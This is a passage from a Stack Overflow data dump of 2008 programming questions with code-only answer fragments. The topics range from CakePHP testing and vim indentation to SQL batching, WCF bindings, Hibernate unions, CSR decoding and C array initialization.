"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9328/"
] |
200,925
|
<p>In CakePHP putting a querystring in the url doesn't cause it to be automatically parsed and split like it normally is when the controller is directly invoked. </p>
<p>For example:</p>
<pre><code>$this->testAction('/testing/post?company=utCompany', array('return' => 'vars')) ;
</code></pre>
<p>will result in:</p>
<pre><code>[url] => /testing/post?company=utCompany
</code></pre>
<p>While invoking the url directly via the web browser results in:</p>
<pre><code>[url] => Array
(
[url] => testing/post
[company] => utCompany
)
</code></pre>
<p>Without editing the CakePHP source, is there some way to have the querystring split when running unit tests?</p>
|
[
{
"answer_id": 201120,
"author": "Ryan Boucher",
"author_id": 27818,
"author_profile": "https://Stackoverflow.com/users/27818",
"pm_score": 2,
"selected": false,
"text": "$data = array ('company' => 'utCompany') ;\n\n$result = $this->testAction('/testing/post', array\n(\n 'return' => 'vars', \n 'method' => 'get', \n 'url' => $data)\n) ; \n"
},
{
"answer_id": 201451,
"author": "Ryan Boucher",
"author_id": 27818,
"author_profile": "https://Stackoverflow.com/users/27818",
"pm_score": 0,
"selected": false,
"text": "$result = explode ('&', $queryString, -1) ;\n $keyPair = explode ('=', $result[n], -1) ;\n"
},
{
"answer_id": 4947167,
"author": "Joel Moss",
"author_id": 291739,
"author_profile": "https://Stackoverflow.com/users/291739",
"pm_score": 1,
"selected": false,
"text": "$this->__savedGetData['company'] = 'utcompany';"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200925",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27818/"
] |
200,932
|
<p>When indenting java code with annotations, vim insists on indenting like this:</p>
<pre><code>@Test
public void ...
</code></pre>
<p>I want the annotation to be in the same column as the method definition but I can't seem to find a way to tell vim to do that, except maybe using an indent expression but I'm not sure if I can use that together with regular cindent.</p>
<p>edit: The filetype plugin was already turned on I just got a bit confused about indenting plugins. The accepted answer may be a bit hackish but works for me as well.</p>
|
[
{
"answer_id": 211820,
"author": "WMR",
"author_id": 2844,
"author_profile": "https://Stackoverflow.com/users/2844",
"pm_score": 4,
"selected": true,
"text": "filetype plugin indent on /usr/share/vim/vim71/indent/java.vim ~/.vim/indent/java.vim let lnum = prevnonblank(v:lnum - 1)\nlet line = getline(lnum)\nif line =~ '^\\s*@.*$'\n let theIndent = indent(lnum)\nendif\n"
},
{
"answer_id": 4414015,
"author": "idbrii",
"author_id": 79125,
"author_profile": "https://Stackoverflow.com/users/79125",
"pm_score": 4,
"selected": false,
"text": "~/.vim/after/indent/java.vim function! GetJavaIndent_improved()\n let theIndent = GetJavaIndent()\n let lnum = prevnonblank(v:lnum - 1)\n let line = getline(lnum)\n if line =~ '^\\s*@.*$'\n let theIndent = indent(lnum)\n endif\n\n return theIndent\nendfunction\nsetlocal indentexpr=GetJavaIndent_improved()\n"
},
{
"answer_id": 20473172,
"author": "Will Richey",
"author_id": 3083194,
"author_profile": "https://Stackoverflow.com/users/3083194",
"pm_score": 1,
"selected": false,
"text": "@Override\npublic void ...\n @Override public void ...\n ~/.vim/after/indent/java.vim setlocal indentexpr=GetJavaIndent_improved()\n\nfunction! GetJavaIndent_improved()\n let theIndent = GetJavaIndent()\n let lnum = prevnonblank(v:lnum - 1)\n let line = getline(lnum)\n if line =~ '^\\s*@[^{]*$'\n let theIndent = indent(lnum)\n endif\n\n return theIndent\nendfunction\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200932",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10098/"
] |
200,939
|
<p>I am using tinyMCE as my text editor on my site and i want to reformat the text before saving it to my database (changing the &rsquo; tags into ' then in to &#39;). I cannot find a simple way of doing this using tinyMCe and using htmlentities() changes everything including <>. Any ideas?</p>
|
[
{
"answer_id": 200949,
"author": "Tomasz Tybulewicz",
"author_id": 17405,
"author_profile": "https://Stackoverflow.com/users/17405",
"pm_score": 3,
"selected": false,
"text": "strip_tags($str, $allowed_tags) $txt = strip_tags($txt, '<p><a><br>');\n"
},
{
"answer_id": 201154,
"author": "Marcus Downing",
"author_id": 1000,
"author_profile": "https://Stackoverflow.com/users/1000",
"pm_score": 1,
"selected": false,
"text": "tinyMCE.init({\n ... // other init instructions\n valid_elements: 'p,a[href],br',\n});\n & ; "
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200939",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
200,945
|
<p>I'm trying to run an ASP.NET 2.0 application on an XP machine. As far as I know, everything is configured correctly. However, I receive the following message:</p>
<blockquote>
<p>Server Application Unavailable</p>
</blockquote>
<p>And two events appear in the Application event log each time:</p>
<blockquote>
<p>aspnet_wp.exe (PID: 3352) stopped
unexpectedly.</p>
<p>Failed to execute the request because
the ASP.NET process identity does not
have read permissions to the global
assembly cache. Error: 0x80070005
Access is denied.</p>
</blockquote>
<p>Previously, ASP.NET applications worked fine on this machine.</p>
<p>I've tried the following steps, with no luck:</p>
<ul>
<li>I've granted read permissions on the site home directory to the ASPNET account</li>
<li>I've reinstalled ASP.NET 2.0 using aspnet_regiis -i</li>
<li>I've granted permissions to the ASPNET account using aspnet_regiis -ga <my machine name>\ASPNET</li>
<li>I've granted read permissions to the GAC to the ASPNET account using CACLS %WINDIR%\assembly /e /t /p <my machine name>\ASPNET:R</li>
<li>I've set the ASP.NET version for the site to 2.0 within IIS</li>
</ul>
<p>I'm not sure what else I can do!</p>
<hr>
<p>Using Process Monitor led me directly to the problem. Many thanks to Mun for the tip.</p>
<p>It was quite an obscure issue: I had previously used the assembly binding log viewer (fuslogvw.exe) and set it to log all binds to disk using the custom path option. However, the ASPNET account did not have permissions to that custom path. So, reverting to using the default path resolved the issue. Granting read/write permissions on that custom path to the ASPNET account also works, as does disabling bind logging.</p>
|
[
{
"answer_id": 9698424,
"author": "PraveenVenu",
"author_id": 581771,
"author_profile": "https://Stackoverflow.com/users/581771",
"pm_score": 1,
"selected": false,
"text": "aspnet_regiis -ga machinename\\ASPNET\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200945",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27824/"
] |
200,960
|
<p>I have a need to find all of the writable storage devices attached to a given machine, <strong>whether or not</strong> they are mounted.</p>
<p>The dopey way to do this would be to <em>try</em> every entry in <code>/dev</code> that corresponds to a writable devices (<code>hd* and sd*</code>)......</p>
<p>Is there a better solution, or should I stick with this one?</p>
|
[
{
"answer_id": 201000,
"author": "Mihai Limbășan",
"author_id": 14444,
"author_profile": "https://Stackoverflow.com/users/14444",
"pm_score": 3,
"selected": false,
"text": "ls /sys/block"
},
{
"answer_id": 201091,
"author": "Steve Baker",
"author_id": 13566,
"author_profile": "https://Stackoverflow.com/users/13566",
"pm_score": 7,
"selected": true,
"text": "/proc/partitions file -s <device>"
},
{
"answer_id": 201214,
"author": "ZungBang",
"author_id": 27831,
"author_profile": "https://Stackoverflow.com/users/27831",
"pm_score": 3,
"selected": false,
"text": "\n#! /bin/bash\nhal-find-by-property --key volume.fsusage --string filesystem |\nwhile read udi ; do\n # ignore optical discs\n if [[ \"$(hal-get-property --udi $udi --key volume.is_disc)\" == \"false\" ]]; then\n dev=$(hal-get-property --udi $udi --key block.device) \n fs=$(hal-get-property --udi $udi --key volume.fstype) \n echo $dev\": \"$fs\n fi \ndone\n"
},
{
"answer_id": 8595102,
"author": "Maxim Veksler",
"author_id": 48062,
"author_profile": "https://Stackoverflow.com/users/48062",
"pm_score": 6,
"selected": false,
"text": "fdisk -l root@ip-10-126-247-82:~# fdisk -l\n\nDisk /dev/xvda1: 10.7 GB, 10737418240 bytes\n255 heads, 63 sectors/track, 1305 cylinders, total 20971520 sectors\nUnits = sectors of 1 * 512 = 512 bytes\nSector size (logical/physical): 512 bytes / 512 bytes\nI/O size (minimum/optimal): 512 bytes / 512 bytes\nDisk identifier: 0x00000000\n\nDisk /dev/xvda1 doesn't contain a valid partition table\n\nDisk /dev/xvda2: 365.0 GB, 365041287168 bytes\n255 heads, 63 sectors/track, 44380 cylinders, total 712971264 sectors\nUnits = sectors of 1 * 512 = 512 bytes\nSector size (logical/physical): 512 bytes / 512 bytes\nI/O size (minimum/optimal): 512 bytes / 512 bytes\nDisk identifier: 0x00000000\n\nDisk /dev/xvda2 doesn't contain a valid partition table\n\nDisk /dev/xvda3: 939 MB, 939524096 bytes\n255 heads, 63 sectors/track, 114 cylinders, total 1835008 sectors\nUnits = sectors of 1 * 512 = 512 bytes\nSector size (logical/physical): 512 bytes / 512 bytes\nI/O size (minimum/optimal): 512 bytes / 512 bytes\nDisk identifier: 0x00000000\n\nDisk /dev/xvda3 doesn't contain a valid partition table\n mount root@ip-10-126-247-82:~# mount\n/dev/xvda1 on / type ext4 (rw)\nproc on /proc type proc (rw,noexec,nosuid,nodev)\nsysfs on /sys type sysfs (rw,noexec,nosuid,nodev)\nfusectl on /sys/fs/fuse/connections type fusectl (rw)\nnone on /sys/kernel/debug type debugfs (rw)\nnone on /sys/kernel/security type securityfs (rw)\nudev on /dev type devtmpfs (rw,mode=0755)\ndevpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=0620)\ntmpfs on /run type tmpfs (rw,noexec,nosuid,size=10%,mode=0755)\nnone on /run/lock type tmpfs (rw,noexec,nosuid,nodev,size=5242880)\nnone on /run/shm type tmpfs (rw,nosuid,nodev)\n/dev/xvda2 on /mnt type ext3 (rw)\n /proc/partitions root@ip-10-126-247-82:~# cat /proc/partitions\nmajor minor #blocks name\n\n 202 1 10485760 xvda1\n 202 2 356485632 xvda2\n 202 3 917504 xvda3\n fdisk -l"
},
{
"answer_id": 11064148,
"author": "THESorcerer",
"author_id": 1414912,
"author_profile": "https://Stackoverflow.com/users/1414912",
"pm_score": 5,
"selected": false,
"text": "fdisk -l /dev/sdl\n grep sdl /proc/partitions \n 8 176 15632384 sdl\n 8 177 15628288 sdl1\n\nlsblk | grep sdl\nsdl 8:176 1 14.9G 0 disk \n`-sdl1 8:177 1 14.9G 0 part \n fdisk -l /dev/sdk\n\nDisk /dev/sdk: 15.9 GB, 15931539456 bytes\n255 heads, 63 sectors/track, 1936 cylinders, total 31116288 sectors\nUnits = sectors of 1 * 512 = 512 bytes\nSector size (logical/physical): 512 bytes / 512 bytes\nI/O size (minimum/optimal): 512 bytes / 512 bytes\nDisk identifier: 0xbe24be24\n\n Device Boot Start End Blocks Id System\n/dev/sdk1 * 8192 31116287 15554048 c W95 FAT32 (LBA)\n file -s /dev/sdl1\n/dev/sdl1: sticky x86 boot sector, code offset 0x52, OEM-ID \"NTFS \", sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, heads 255, hidden sectors 8192, dos < 4.0 BootSector (0x0)\n fdisk -l /dev/sdb\n/dev/sdb1 2048 156301487 78149720 fd Linux raid autodetect\n/dev/sdb2 156301488 160086527 1892520 82 Linux swap / Solaris\n\nfile -s /dev/sdb1\n/dev/sdb1: sticky \\0\n parted /dev/sdl print\n\nModel: Mass Storage Device (scsi)\nDisk /dev/sdl: 16.0GB\nSector size (logical/physical): 512B/512B\nPartition Table: msdos\n\nNumber Start End Size Type File system Flags\n 1 4194kB 16.0GB 16.0GB primary ntfs\n\n\n\n\narted /dev/sdb print \nModel: ATA Maxtor 6Y080P0 (scsi)\nDisk /dev/sdb: 82.0GB\nSector size (logical/physical): 512B/512B\nPartition Table: msdos\n\nNumber Start End Size Type File system Flags\n 1 1049kB 80.0GB 80.0GB primary raid\n 2 80.0GB 82.0GB 1938MB primary linux-swap(v1)\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200960",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4418/"
] |
200,966
|
<p>I have these two pieces of code, wich one is more readable?</p>
<ol>
<li><p>foreach</p>
<pre><code>decimal technicalPremium = 0;
foreach (Risk risk in risks)
{
technicalPremium = technicalPremium + risk.TechnicalPremium;
}
return technicalPremium;
</code></pre></li>
<li><p>linq</p>
<pre><code>return risks.Sum(risk => risk.TechnicalPremium);
</code></pre></li>
</ol>
|
[
{
"answer_id": 201165,
"author": "Cristian Libardo",
"author_id": 16526,
"author_profile": "https://Stackoverflow.com/users/16526",
"pm_score": 4,
"selected": false,
"text": "return risks.SumTechnicalPremium();\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200966",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12514/"
] |
200,986
|
<p><em>Edit: <br>My problem is not a problem anymore: I have redo my performances tests and I have do a fatal stupid error: I had forget a x1000 to get seconds from milliseconds :/
Sorry for that guys.<br>
For info: <br>
- I do some 1900 updates per second from my PC to the DataBase server on local network.<br>
- 3.200 updates per second if the programs is on same machine than DB.<br>
- 3.500 updates per second from my PC on the DataBase server I do not re-create and re-open a new SQLConnection.<br>
- 5.800 updates per second with a batch text.
For my 10.000 rows, if it take 5 seconds, it is ok for my programs. Sorry to have worry you.</em></p>
<p>Actually, I use a SQL stored prodedure to create a row in my database to avoid SQL-injection. In C# I have the following method:</p>
<pre><code>public void InsertUser(string userCode)
{
using (SqlConnection sqlConnection = new SqlConnection(this.connectionString))
{
SqlCommand sqlCommand = new SqlCommand("InsertUser", sqlConnection);
sqlCommand.CommandType = System.Data.CommandType.StoredProcedure;
sqlCommand.Parameters.Add(new SqlParameter("@UserCode", userCode));
sqlConnection.Open();
sqlCommand.ExecuteNonQuery();///0.2 seconds !ERROR HERE! 0.2ms here,NOT 0.2sec!!!
}
}
</code></pre>
<p>It woks great when i have one or two rows to insert. But if i need to create 1.000 users and 10.000 products and 5000 pets, it is not the best solution: I will loose a huge time in netwok transport.</p>
<p>I believe, without checkin it, that I can use just a limited amount of callback. So I do not want to call 10.000 times: </p>
<pre><code>sqlCommand.BeginExecuteNonQuery()
</code></pre>
<p>Another way will be to create a batch text, but there is a SQL-Injection risk (and it is ugly).</p>
<p>Does there is a 'SqlCommandList' object that manage that in .Net? How do I do large writing in database? What the good patern for that?</p>
|
[
{
"answer_id": 201002,
"author": "Marc Gravell",
"author_id": 23354,
"author_profile": "https://Stackoverflow.com/users/23354",
"pm_score": 2,
"selected": false,
"text": "SqlBulkCopy"
},
{
"answer_id": 201042,
"author": "Joel Coehoorn",
"author_id": 3043,
"author_profile": "https://Stackoverflow.com/users/3043",
"pm_score": 3,
"selected": false,
"text": "public void InsertUser(IEnumerable<string> userCodes)\n{\n using (SqlConnection sqlConnection = new SqlConnection(this.connectionString), \n SqlCommand sqlCommand = new SqlCommand(\"InsertUser\", sqlConnection))\n {\n sqlCommand.CommandType = System.Data.CommandType.StoredProcedure;\n SqlParameter param = sqlCommand.Parameters.Add(\"@UserCode\", SqlDbTypes.VarChar);\n sqlConnection.Open();\n\n foreach(string code in userCodes)\n {\n param.Value = code;\n sqlCommand.ExecuteNonQuery();///0.2 seconds\n }\n }\n}\n"
},
{
"answer_id": 201050,
"author": "Dave Markle",
"author_id": 24995,
"author_profile": "https://Stackoverflow.com/users/24995",
"pm_score": 2,
"selected": false,
"text": "var cmd = new SqlCommand();\ncmd.Connection = sqlConnection;\nfor (int i = 0; i < batchSize; i++) {\n cmd.CommandText += String.Format(\"EXEC InsertUser @UserCode{0};\", i);\n cmd.Parameters.AddWithValue(\"@UserCode\" + i.ToString(), XXXXX);\n //... etc ...\n}\n"
},
{
"answer_id": 201100,
"author": "Sam Saffron",
"author_id": 17174,
"author_profile": "https://Stackoverflow.com/users/17174",
"pm_score": 2,
"selected": false,
"text": "public void InsertUser(IEnumerabler<string> userCodes)\n{\n using (SqlConnection sqlConnection = new SqlConnection(this.connectionString))\n {\n sqlConnection.Open();\n SqlTransaction transaction = connection.BeginTransaction();\n SqlCommand sqlCommand = new SqlCommand(\"InsertUser\", sqlConnection);\n sqlCommand.Transaction = transaction;\n sqlCommand.CommandType = System.Data.CommandType.StoredProcedure;\n SqlParameter param = sqlCommand.Parameters.Add(\"@UserCode\", SqlDbTypes.VarChar);\n\n foreach(string code in userCodes)\n {\n param.Value = code;\n sqlCommand.ExecuteNonQuery();\n } \n transaction.Commit();\n }\n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200986",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26071/"
] |
201,004
|
<p>I have a WCF service running on the IIS with a ServiceHostFactory. It's running fine with the WSHttpBinding but because of the speed and everything being on the same network (no firewalls) i want to speed up things a bit using the NetTcpBinding instead.</p>
<p>When i try to do that i get this error:</p>
<blockquote>
<p>Could not connect to net.tcp://zzz.xxx.yyy/MyService.svc. The connection attempt lasted for a time span of 00:00:01.0464395. TCP error code 10061: No connection could be made because the target machine actively refused it x.x.x.x:808.</p>
</blockquote>
<p>I'm using <code>SecurityMode.None</code> just to make sure that is not screwing me also i tried either of these on two different tries:</p>
<pre><code>binding.Security.Message.ClientCredentialType = MessageCredentialType.None;
binding.Security.Message.ClientCredentialType = TcpClientCredentialType.Windows;,
</code></pre>
<p>Also i should point out, that i'm pulling quite a lof of data from one of the service calls, so i also put these (both on the http and the tcp attempts - setting maxMessageSize to 1000000)</p>
<pre><code>binding.MaxReceivedMessageSize = maxMessageSize;
binding.ReaderQuotas.MaxArrayLength = maxMessageSize;
</code></pre>
<p>It should be pretty easy getting it to work, so what am I missing?</p>
<p>UPDATE: I added the TCP port 808 to the website identity and tried again. Now i get this error:</p>
<blockquote>
<p>You have tried to create a channel to a service that does not support .Net Framing. It is possible that you are encountering an HTTP endpoint.</p>
</blockquote>
|
[
{
"answer_id": 9735829,
"author": "Matt Roberts",
"author_id": 24109,
"author_profile": "https://Stackoverflow.com/users/24109",
"pm_score": 4,
"selected": false,
"text": "c:\\windows\\system32\\inetsrv appcmd.exe set app \"NameOfWebsite/\" /enabledProtocols:http,net.tcp"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201004",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11619/"
] |
201,023
|
<p>What alternatives do I have to implement a union query using hibernate? I know hibernate does not support union queries at the moment, right now the only way I see to make a union is to use a view table.</p>
<p>The other option is to use plain jdbc, but this way I would loose all my example/criteria queries goodies, as well as the hibernate mapping validation that hibernate performs against the tables/columns.</p>
|
[
{
"answer_id": 3940445,
"author": "sfussenegger",
"author_id": 178526,
"author_profile": "https://Stackoverflow.com/users/178526",
"pm_score": 6,
"selected": false,
"text": "id in (select id from ...) or id in (select id from ...) from Person p where p.name=\"Joe\"\nunion\nfrom Person p join p.children c where c.name=\"Joe\"\n from Person p \n where p.id in (select p1.id from Person p1 where p1.name=\"Joe\") \n or p.id in (select p2.id from Person p2 join p2.children c where c.name=\"Joe\");\n // use set for uniqueness\nSet<Person> people = new HashSet<Person>((List<Person>) query1.list());\npeople.addAll((List<Person>) query2.list());\nreturn new ArrayList<Person>(people);\n mysql> explain \n select p.* from PERSON p \n where p.id in (select p1.id from PERSON p1 where p1.name = \"Joe\") \n or p.id in (select p2.id from PERSON p2 \n join CHILDREN c on p2.id = c.parent where c.name=\"Joe\") \\G\n*************************** 1. row ***************************\n id: 1\n select_type: PRIMARY\n table: a\n type: ALL\npossible_keys: NULL\n key: NULL\n key_len: NULL\n ref: NULL\n rows: 247554\n Extra: Using where\n*************************** 2. row ***************************\n id: 3\n select_type: DEPENDENT SUBQUERY\n table: NULL\n type: NULL\npossible_keys: NULL\n key: NULL\n key_len: NULL\n ref: NULL\n rows: NULL\n Extra: Impossible WHERE noticed after reading const tables\n*************************** 3. row ***************************\n id: 2\n select_type: DEPENDENT SUBQUERY\n table: a1\n type: unique_subquery\npossible_keys: PRIMARY,name,sortname\n key: PRIMARY\n key_len: 4\n ref: func\n rows: 1\n Extra: Using where\n3 rows in set (0.00 sec)\n"
},
{
"answer_id": 30529912,
"author": "Vijay",
"author_id": 2357869,
"author_profile": "https://Stackoverflow.com/users/2357869",
"pm_score": 2,
"selected": false,
"text": "select i , j from A a , (select i , j from B union select i , j from C) d where a.i = d.i \n select i , j from A a JOIN (select i , j from B union select i , j from C) d on a.i = d.i \n Query q1 =session.createQuery(select i , j from A a JOIN B b on a.i = b.i)\nList l1 = q1.list();\n\nQuery q2 = session.createQuery(select i , j from A a JOIN C b on a.i = b.i)\nList l2 = q2.list();\n l1.addAll(l2);\n"
},
{
"answer_id": 33777894,
"author": "Arash moradabadi",
"author_id": 3951415,
"author_profile": "https://Stackoverflow.com/users/3951415",
"pm_score": 0,
"selected": false,
"text": "List<Object[]>"
},
{
"answer_id": 45094778,
"author": "wryan",
"author_id": 2266660,
"author_profile": "https://Stackoverflow.com/users/2266660",
"pm_score": 0,
"selected": false,
"text": "QueryParms parms=new QueryParms();\nparms.put(\"PROCDATE\",PROCDATE);\n\nLong pixelAll = ((SourceCount)Fetch.row(\"PIXEL_ALL\",parms,logger)).getCOUNT();\n @Entity\n@NamedQueries({\n @NamedQuery(\n name =\"PIXEL_ALL\",\n query = \"\" +\n \" SELECT new SourceCount(\" +\n \" (select count(a) from PIXEL_LOG_CURR1 a \" +\n \" where to_char(a.TIMESTAMP, 'YYYYMMDD') = :PROCDATE \" +\n \" ),\" +\n \" (select count(b) from PIXEL_LOG_CURR2 b\" +\n \" where to_char(b.TIMESTAMP, 'YYYYMMDD') = :PROCDATE \" +\n \" )\" +\n \") from Dual1\" +\n \"\"\n )\n})\n\npublic class SourceCount {\n @Id\n private Long COUNT;\n\n public SourceCount(Long COUNT1, Long COUNT2) {\n this.COUNT = COUNT1+COUNT2;\n }\n\n public Long getCOUNT() {\n return COUNT;\n }\n\n public void setCOUNT(Long COUNT) {\n this.COUNT = COUNT;\n }\n}\n @Entity\n@Table(name=\"DUAL1\")\npublic class Dual1 {\n @Id\n Long ID;\n}\n SQL> insert into dual1 values (1);\n"
},
{
"answer_id": 74596646,
"author": "Vlad Mihalcea",
"author_id": 1025118,
"author_profile": "https://Stackoverflow.com/users/1025118",
"pm_score": 2,
"selected": false,
"text": "UNION List<String> topics = entityManager.createQuery(\"\"\"\n select c.name as name\n from Category c\n union\n select t.name as name\n from Tag t\n \"\"\", String.class)\n.getResultList();\n UNION ALL List<String> topics = entityManager.createQuery(\"\"\"\n select c.name as name\n from Category c\n union all\n select t.name as name\n from Tag t\n \"\"\", String.class)\n.getResultList();\n UNION EXCEPT INTERSECT"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201023",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/22992/"
] |
201,066
|
<p>I have deployed ASP.NET web site and ASP.NET web service on the same web server. Both of them require access to shared file. </p>
<p>How to implement/share lock that supports single writers and multiple readers? If somebody reads, nobody can write, but all still can read. If somebody writes, nobody can read/write.</p>
|
[
{
"answer_id": 201113,
"author": "Bartek Szabat",
"author_id": 23774,
"author_profile": "https://Stackoverflow.com/users/23774",
"pm_score": 3,
"selected": true,
"text": "System.IO.File.Open(\"path.txt\",System.IO.FileMode.OpenOrCreate,System.IO.FileAccess.ReadWrite,System.IO.FileShare.Read)\n public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share);\n Mutex mut = new Mutex(\"filename as mutex name\");\n mut.WaitOne();\n //open file for write, \n //write to file\n //close file\n mut.ReleaseMutex();\n"
},
{
"answer_id": 201130,
"author": "Dave Markle",
"author_id": 24995,
"author_profile": "https://Stackoverflow.com/users/24995",
"pm_score": 0,
"selected": false,
"text": "public class yourPage {\n static object writeLock = new object();\n void WriteFile(...) {\n lock(writeLock) {\n var sw = new StreamWriter(...);\n ... write to file ...\n }\n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201066",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2625/"
] |
201,070
|
<p>I ran accross a CSR file (Certificate Signing Request) and I need to extract some information from it.</p>
<p>There's a way to decode it using .NET Framework?</p>
|
[
{
"answer_id": 353536,
"author": "erickson",
"author_id": 3474,
"author_profile": "https://Stackoverflow.com/users/3474",
"pm_score": 5,
"selected": false,
"text": "openssl req -text -in request.csr\n"
},
{
"answer_id": 9493878,
"author": "Ε Г И І И О",
"author_id": 687190,
"author_profile": "https://Stackoverflow.com/users/687190",
"pm_score": 4,
"selected": true,
"text": "// Load the CSR file\nvar csr = new X509Request(BIO.File(\"C:/temp/test.csr\", \"r\"));\nOR\nvar csr = new X509Request(@\"-----BEGIN CERTIFICATE REQUEST-----...\");\n\n// Read CSR file properties\nConsole.WriteLine(csr.PublicKey.GetRSA().PublicKeyAsPEM);\nConsole.WriteLine(csr.Subject.SerialNumber);\nConsole.WriteLine(csr.Subject.Organization);\n.\n.\n.\n"
},
{
"answer_id": 58915413,
"author": "BZanten",
"author_id": 1961327,
"author_profile": "https://Stackoverflow.com/users/1961327",
"pm_score": 4,
"selected": false,
"text": "certutil -dump file.csr\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201070",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7720/"
] |
201,101
|
<p>I have a large array in <strong>C</strong> (not <strong>C++</strong> if that makes a difference). I want to initialize all members of the same value.</p>
<p>I could swear I once knew a simple way to do this. I could use <code>memset()</code> in my case, but isn't there a way to do this that is built right into the C syntax?</p>
|
[
{
"answer_id": 201116,
"author": "aib",
"author_id": 1088,
"author_profile": "https://Stackoverflow.com/users/1088",
"pm_score": 11,
"selected": true,
"text": "int myArray[10] = { 5, 5, 5, 5, 5, 5, 5, 5, 5, 5 };\n int myArray[10] = { 1, 2 }; // initialize to 1,2,0,0,0...\n int myArray[10] = { 0 }; // all elements 0\n int myArray[10] = {}; // all elements 0 in C++ and C23\n static int myArray[10]; // all elements 0\n"
},
{
"answer_id": 201118,
"author": "warren",
"author_id": 4418,
"author_profile": "https://Stackoverflow.com/users/4418",
"pm_score": 3,
"selected": false,
"text": "// put values 1-8, then two zeroes\nint list[10] = {1,2,3,4,5,6,7,8};\n"
},
{
"answer_id": 201164,
"author": "Tarski",
"author_id": 27653,
"author_profile": "https://Stackoverflow.com/users/27653",
"pm_score": 5,
"selected": false,
"text": "int i;\nfor (i = 0; i < ARRAY_SIZE; ++i)\n{\n myArray[i] = VALUE;\n}\n int myArray[10] = { 5, 5, 5, 5, 5, 5, 5, 5, 5, 5...\n"
},
{
"answer_id": 202277,
"author": "Frank Szczerba",
"author_id": 8964,
"author_profile": "https://Stackoverflow.com/users/8964",
"pm_score": 6,
"selected": false,
"text": "int myArray[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9 };\n int myPoints[][3] = { { 1, 2, 3 }, { 4, 5, 6 }, { 7, 8, 9} };\n int myPoints[][] = { { 1, 2, 3 }, { 4, 5, 6 }, { 7, 8, 9} };\n"
},
{
"answer_id": 203056,
"author": "humble_guru",
"author_id": 23961,
"author_profile": "https://Stackoverflow.com/users/23961",
"pm_score": 3,
"selected": false,
"text": "static void\nunhandled_interrupt(struct trap_frame *frame, int irq, void *arg)\n{\n //this code intentionally left blank\n}\n\nstatic struct irqtbl_s vector_tbl[XCHAL_NUM_INTERRUPTS] = {\n [0 ... XCHAL_NUM_INTERRUPTS-1] {unhandled_interrupt, NULL},\n};\n"
},
{
"answer_id": 207702,
"author": "qrdl",
"author_id": 28494,
"author_profile": "https://Stackoverflow.com/users/28494",
"pm_score": 9,
"selected": false,
"text": "int array[1024] = {[0 ... 1023] = 5};\n"
},
{
"answer_id": 1563541,
"author": "sambowry",
"author_id": 172856,
"author_profile": "https://Stackoverflow.com/users/172856",
"pm_score": -1,
"selected": false,
"text": "#include <string.h> \n\nvoid array_init( void *start, size_t element_size, size_t elements, void *initval ){\n memcpy( start, initval, element_size );\n memcpy( (char*)start+element_size, start, element_size*(elements-1) );\n}\n\n// testing\n#include <stdio.h> \n\nstruct s {\n int a;\n char b;\n} array[2][3], init;\n\nint main(){\n init = (struct s){.a = 3, .b = 'x'};\n array_init( array, sizeof(array[0][0]), 2*3, &init );\n\n for( int i=0; i<2; i++ )\n for( int j=0; j<3; j++ )\n printf(\"array[%i][%i].a = %i .b = '%c'\\n\",i,j,array[i][j].a,array[i][j].b);\n}\n array[0][0].a = 3 .b = 'x'\narray[0][1].a = 3 .b = 'x'\narray[0][2].a = 3 .b = 'x'\narray[1][0].a = 3 .b = 'x'\narray[1][1].a = 3 .b = 'x'\narray[1][2].a = 3 .b = 'x'\n start+element_size (char*)start+element_size"
},
{
"answer_id": 1565469,
"author": "mouviciel",
"author_id": 45249,
"author_profile": "https://Stackoverflow.com/users/45249",
"pm_score": 8,
"selected": false,
"text": "#define VAL_1X 42\n#define VAL_2X VAL_1X, VAL_1X\n#define VAL_4X VAL_2X, VAL_2X\n#define VAL_8X VAL_4X, VAL_4X\n#define VAL_16X VAL_8X, VAL_8X\n#define VAL_32X VAL_16X, VAL_16X\n#define VAL_64X VAL_32X, VAL_32X\n\nint myArray[53] = { VAL_32X, VAL_16X, VAL_4X, VAL_1X };\n #define VAL_1(X) X\n#define VAL_2(X) VAL_1(X), VAL_1(X)\n/* etc. */\n #define STRUCTVAL_1(...) { __VA_ARGS__ }\n#define STRUCTVAL_2(...) STRUCTVAL_1(__VA_ARGS__), STRUCTVAL_1(__VA_ARGS__)\n/*etc */ \n #define STRUCTVAL_48(...) STRUCTVAL_32(__VA_ARGS__), STRUCTVAL_16(__VA_ARGS__)\n\nstruct Pair { char key[16]; char val[32]; };\nstruct Pair p_data[] = { STRUCTVAL_48(\"Key\", \"Value\") };\nint a_data[][4] = { STRUCTVAL_48(12, 19, 23, 37) };\n"
},
{
"answer_id": 1565491,
"author": "High Performance Mark",
"author_id": 44309,
"author_profile": "https://Stackoverflow.com/users/44309",
"pm_score": 3,
"selected": false,
"text": "array = initial_value\n"
},
{
"answer_id": 9812815,
"author": "abelenky",
"author_id": 34824,
"author_profile": "https://Stackoverflow.com/users/34824",
"pm_score": 6,
"selected": false,
